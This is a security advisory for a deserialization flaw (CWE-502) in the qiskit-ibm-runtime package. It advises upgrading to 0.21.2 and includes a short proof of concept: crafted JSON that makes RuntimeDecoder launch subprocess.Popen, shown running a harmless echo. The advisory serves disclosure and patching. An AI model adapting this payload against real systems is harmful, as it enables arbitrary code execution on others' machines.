CWE-502  (opens in a new tab)

How to fix?

Upgrade qiskit-ibm-runtime to version 0.21.2 or higher.

Overview

qiskit-ibm-runtime is an IBM Quantum client for Qiskit Runtime.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data due to the deserialization of JSON data using a specifically crafted input string. An attacker can execute arbitrary code on the system by providing a maliciously formatted input string to the deserialization process.

PoC

malicious_data = {
    "__type__": "settings",
    "__module__": "subprocess",
    "__class__": "Popen",
    "__value__": {
        "args": ["echo", "hi"]
    },
}
json_str = json.dumps(malicious_data)

_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints "hi" to the terminal

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.
